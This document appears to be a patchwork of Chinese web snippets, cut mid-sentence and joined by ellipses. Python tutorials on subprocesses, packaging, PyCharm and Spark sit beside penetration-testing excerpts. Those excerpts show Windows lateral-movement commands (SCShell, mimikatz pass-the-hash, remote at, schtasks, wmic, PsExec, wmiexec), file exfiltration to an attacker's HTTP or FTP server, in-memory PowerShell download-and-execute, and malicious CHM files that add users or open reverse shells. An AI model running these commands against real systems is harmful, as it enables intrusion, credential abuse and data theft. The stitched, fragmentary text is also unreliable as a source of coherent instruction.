---- 但在本地、测试环境我运行无数次也没能发现异常;于是我找运维拿到了线上的运行方式。...原来为了方便维护大家提交上来的脚本任务,运维自己有维护一个统一的脚本,在这个脚本中使用: cmd = 'python /xxx/test.py' os.popen(cmd) 来触发任务,这也是与我在本地...还有一点需要注意的是,当我们在父进程中打开的文件描述符,子进程也会继承过去; 比如在 task.py 中新增一段代码: x = open("1.txt", "w") 之后查看文件描述符时会发现父子进程都会有这个文件...: 但相反的,子进程中打开的文件父进程是不会有的,这个应该很容易理解。...父子进程是通过匿名管道进行通信的,当读取端关闭时,写入端输出到达管道最大缓存时会收到 SIGPIPE 信号,从而抛出 Broken pipe 异常。 子进程会继承父进程的文件描述符。
2.2 获取管理员权限 在 Windows 上,安装 Python 需要写入系统文件夹并修改环境变量,一般需要使用管理员身份运行安装程序。...运行脚本 直接在编辑器中点击文件右上角的绿色 ▶️ “Run Python File in Terminal” 按钮;或者在终端(VSCode 集成终端,Ctrl+)中输入: python hello.py...此时,在虚拟环境中运行 python、pip 命令都只会作用于该环境,不会修改全局 Python。...或者在终端: touch hello.py # macOS/Linux type nul > hello.py # Windows CMD 编辑文件内容 使用编辑器打开 hello.py,输入如下内容...保存并关闭编辑器 8.3 运行脚本 在命令行中运行 确保虚拟环境已激活(如前面已激活,无需重复)。 执行: python hello.py 终端输出: Hello, 世界!
1.简单介绍 SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令。该工具的优点在于它不会针对SMB执行身份验证。一切都通过DCERPC执行。...该实用程序可以在不注册服务或创建服务的情况下远程使用。它也不必在远程系统上删除任何文件*(取决于用于执行的技术) 一切都通过DCERPC执行。...txt来证明可以利用 在win中 scshell.exe 10.10.10.10 defragsvc "C:\windows\system32\cmd.exe /c echo ' hello' > c...在目标机器中我们可以看到写入一个txt ? 在cobalt Strike中 shell ....在本地系统上 sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe 然后在新创建的cmd.exe中运行SCShell.exe进行横向
6、看到保存的结果啦 7、可以把txt文件保存到py文件同一个文件夹吗?...# 运行容器 docker run random-numbers # 在主机上创建一个文件夹 mkdir mydata 11、遇到bug,分别是使用windows的cmd命令和开docker读取本地的权限...python功能是:随机5个1-10数,print并写入excel文件,py文件保存在test10文件夹中。保存excel文件到py相同的文件夹。...Python脚本 (`random_numbers.py`) 在`test10`文件夹中创建一个名为`random_numbers.py`的文件,并添加以下内容: ```python import...# 运行Python脚本 CMD ["python", "random_numbers.py"] ``` ### 3.
,我们还可以利用at计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后远程读取: at \\192.168.183.130 17:05:00 cmd.exe /c...,我们还可以利用schtasks计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后利用type命令远程读取: schtasks /create /s 192.168.183.130...通过渗透测试发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。...C:\result.txt文本文件中:(由于wmic执行远程命令没有回显,所以要将结果写入到txt中) wmic /node:192.168.183.130 /user:administrator /password...Impacket中的wmiexec.py 该脚本是impacket工具包中的一个工具,主要在从Linux像Windows进行横向渗透时使用,十分强大,可以走socks代理进入内网。
pyinstaller——用于打包py程序在日常中我们写好的pyhton脚本每次运行时都需要安装软件,但是这样造成了一个不好的现象就是,你写好脚本后需要供别人使用的时候,别人没下载软件则无法运行脚本,很麻烦很难受...cmd中 cd 进入到文件路径中,然后输入:yinstaller -F 文件名不管这个 Python 应用是单文件的应用,还是多文件的应用,只要在使用 pyinstaller 命令时编译作为程序入口的...pyinstaller -F price.py -i a.ico,但要注意所需设置的图片名格式得为ico后缀的才行注:使用pyinstaller -F flower.py打包完成的exe文件运行时会弹出黑色的框...(命令行窗口),为了使运行exe文件不再出现黑框,加上-w参数,即pyinstaller -F -w flower.py,则运行exe文件时黑框便没有了。...在该方法中,你可以访问文本编辑框的内容,将其拆分成文件路径,并执行相应的操作。'''
这不会将 EXE 文件下载并执行到内存中。 当PowerShell脚本被下载并直接执行到内存中时,它会将脚本加载到当前会话中,以便可以执行脚本函数。但是,由于执行策略,这可能会带来问题。...我们现在需要做的就是使用以下命令运行脚本,我们的服务器就会运行: python3 SimpleHTTPServerWithUpload.py 80 2.2将文件上传到攻击者的HTTP服务器:浏览器 (GUI...使用 SimpleHTTPServerWithUpload.py,您仍然可以获得下载文件的常规目录列表,并具有 GUI 上传功能的额外好处,该功能可用于轻松地将文件渗漏回攻击者计算机。...3.3从攻击者的FTP服务器下载文件:cmd.exe 当我们没有 GUI 访问权限时会发生什么?...\ftp.txt -encoding ascii -append 这将在当前目录中创建 ftp.txt;执行时会将GET命令指定的文件下载到当前目录。
PowerShell 有如下特点: Windows 7 以上的操作系统默认安装 PowerShell 脚本可以运行在内存中,不需要写入磁盘 可以从另一个系统中下载 PowerShell 脚本并执行 目前很多工具都是基于...PowerShell 开发的 很多安全软件检测不到 PowerShell 的活动 cmd 通常会被阻止运行,但是 PowerShell 不会 可以用来管理活动目录 可输入 Get-Host 或者 $PSVersionTable...10 5.1 windows server 2016 2、基本概念 ps1 文件 ps1 是PowerShell 的脚本扩展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件...\aps1,最大的例外是,如果 PowerShell 脚本文件刚好位于你的系统目录中,那么你可以直接在命令提示符命令提示符后键入脚本文件名即可运行” 这里的“系统目录”是指的啥目录?.../ps_encoder.py 下载好后,需要先将要执行的命令保存到文本文件中,这里保存到了 tmp.txt 文本中,之后执行 python ps_encoder.py -s tmp.txt 即可 >cat
步骤三:运行脚本并查看结果 右键点击 01.wordcount.py 文件并运行。你将在下方的运行窗口看到计算结果,它是一个包含 (单词, 词频) 元组的列表。...2.3 将结果输出到文件 通常,我们不会将大规模计算的结果全部 collect() 到驱动程序(可能会导致内存溢出),而是将其直接保存到分布式文件系统 (如 HDFS) 或本地文件系统中。...脚本执行完毕后,你会在指定的输出路径下看到一个名为 wordcount01 的目录。进入该目录,你会发现: _SUCCESS 文件:一个空文件,表示作业成功完成。...修改代码中的路径: 将 05.SparkSubmit.py (或其他脚本) 中的输入文件路径修改为远程服务器上的绝对路径。...PyCharm 中右键点击脚本并选择 "运行 "。
命令设置计划任务执行命令,将结果写入文件中,然后通过type读取文件 时间可通过net time来获取 at \\192.160.10.1 15:17:30 cmd.exe /c "ipconfig >.../ru 指定任务运行权限( ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM") /st 指定运行任务的开始时间 在目标机器上创建一个名为test的计划任务,该计划任务在开机时启动,...时会弹窗,使用该参数不会弹框 -s:以system权限运行,不使用此参数测试administrator权限 没有建立ipc$连接可通过-u,-p两个参数来指定用户名密码 PsExec.exe \\192.168.10.1...,并配套samba工具,可以通过文件共享(admin,,c,ipc,,d)在远程系统中执行命令 smbexec.py [username]:[password]@[IP] 利用WMI WMI(Windows.../c whoami > whoami.txt" wmiexec wmiexec是对windows自带的wmic做了一些改进,可通过用户名密码或者配合哈希传递等一起使用 wmiexec.py 该脚本是
原文的代码运行逻辑顺序问题 说实话,我读完原文可能不是很能理解原文的代码逻辑顺序,其实有些代码是不必要的代码,可能有些混淆; 我们需要的py代码分别是原文的: main.py ; read_cookie.py...总结后的原文的逻辑顺序:以main.py为脚本启动代码,去启动read_cookie.py,而read_cookie.py中以os模块的system去启动cmd命令,然后cmd以mitmproxy启动write_cookie.py...脚本获取数据,然后将数据保存到所创建的cookie.text文件中;然后再main.py继续执行启动wxCrawler.py脚本代码,wxCrawler.py脚本代码主要是去爬取微信公众号的文章列表,并打印...操作方法:在pycharm操作上,我们只需按住ctrl键,然后用鼠标左键点击utils模块即可写入函数方法; ? 写入的函数方法: ?...原博客中的格式 原博客中的空格以及一些符号存在不规范以及运行代码的格式不对,以及爬取链接等链接格式均存在大大小小的错误;修改后的原文代码: ? ? ? ?
└── utils.py当在main.py中尝试import utils时,有时会出现导入错误。...main.py2. sys.path未包含当前目录Python在导入模块时会搜索sys.path中的路径,如果当前目录不在其中,会导致导入失败。...验证方式:import sysprint(sys.path) # 检查当前目录是否在输出列表中3. 相对导入与绝对导入混淆在包内部使用相对导入时,需要确保文件是作为模块运行的,而不是作为主脚本运行。...── requirements.txt└── README.md常见问题解答Q: 为什么在PyCharm中可以导入,但在命令行中不行?...A: PyCharm会自动将项目根目录添加到sys.path,而命令行不会。解决方法是在命令行中进入项目根目录运行,或使用-m参数。Q: 相对导入和绝对导入哪个更好?
在本文中,我们并不会提供非常完善的指南,但是会介绍 PyCharm 最主要的一些能力,了解这些后,后面就需要我们在实践中再具体学习了。...要想发现程序重新开始的原因,你需要 debug。 首先,点击第 8 行代码左侧的空白区域,设置断点: ? 断点即程序运行到这一行时会自动停止,你可以探索断点处之后的代码有什么错误。...打开 calculator.py 文件,执行以下步骤中的任意一个: 在 Mac 系统中使用 Shift+Cmd+T 键,在 Windows 或 Linux 系统中使用 Ctrl+Shift+T。...接下来,我们使用上一节中打开的项目,实践以下快捷键: 在当前文件中搜索代码段:在 Mac 系统中使用 Cmd+F 键,在 Windows 或 Linux 系统中使用 Ctrl+F 键。...要想使用它,你需要创建文件 example.py,并在其中写入以下代码: ? 上述代码故意破坏了 Flake8 的一些规则。右键单击文件背景,选择 External Tools → Flake8。
Pycharm 由JetBrains打造的一款Python IDE,支持macOS、Windows、Linux系统 ? 1.3.2....运行结束后,xyy.txt中成功写入hello ? 3.4.2. 步骤一:指定文件名 ? 字母r:表示该字符串为原始字符串,即忽略其中的转义字符 3.4.3....( ):按行读取,并且每行内容作为一个元素存到列表里,返回该列表 txt中内容 ?...3.4.4.2 .写:调用文件对象的write/writelines方法 lwrite(str)参数为字符串,将字符串写入文件 lwritelines(list)参数为列表,将列表中的每个元素依次写入文件...运行结束后txt中内容 ? 3.4.4.2.2. writelines ? 运行结束后txt中内容 ? 3.4.5.
实际上如果用 python + 文件 的方式运行代码,只要文件内容相同,后缀名是不重要的,也就是说下面的运行结果都是等价的: python test.py python test.txt python...上述过程中翻译后的字节码是保存在内存中,程序运行结束就没了,而代码没有修改的情况下,每次生成的字节码是一样的,所以每次跑程序都再走一遍翻译字节码的过程有点浪费性能。...常用的 IDE 都会有类型检查提示功能,比如在 PyCharm 中,当我们给一个函数传入一个错误的类型时会给出对应的提示,这其实不是 IDE 的特殊开发的功能,它只是集成了PEP484的规定,利用了已经预先生成好的...图片 所以在用 Python 开发 GUI 程序时,如果不想让程序运行的时候弹出一个黑乎乎的 cmd 框,就可以将源码文件后缀名改为pyw格式。...我之前曾用tkinter开发过带 Windows 界面的 Python 程序,当时是通过双击 bat脚本启动 Python 脚本同时关闭 cmd 界面框,来避免弹出黑框框的。
CHM文件格式是微软1998年推出的基于HTML文件特性的帮助文件系统,以替代早先的WinHelp帮助系统,它也是一种超文本标识语言,在Windows 98中把CHM类型文件称作“已编译的HTML帮助文件...这是因为在html文件中,写入了 此时,我们思考一下,倘若这个”calc.exe”修改为”cmd /c net user arche...微软在windows 7+的系统中内置了一种强大的脚本语言Powershell。正如其名,这款语言十分强大。不过,强大的语言带来的方便的同时,也增加了安全问题。...更换一种姿势来反弹shell,虽然该shell不如前述shell强大,但可以使用该shell再产生前述shell。这种姿势不会弹出黑框,完美解决问题。.../c taskkill /f /im rundll32.exe",0,true);} 此时,将该脚本写入CHM中 <!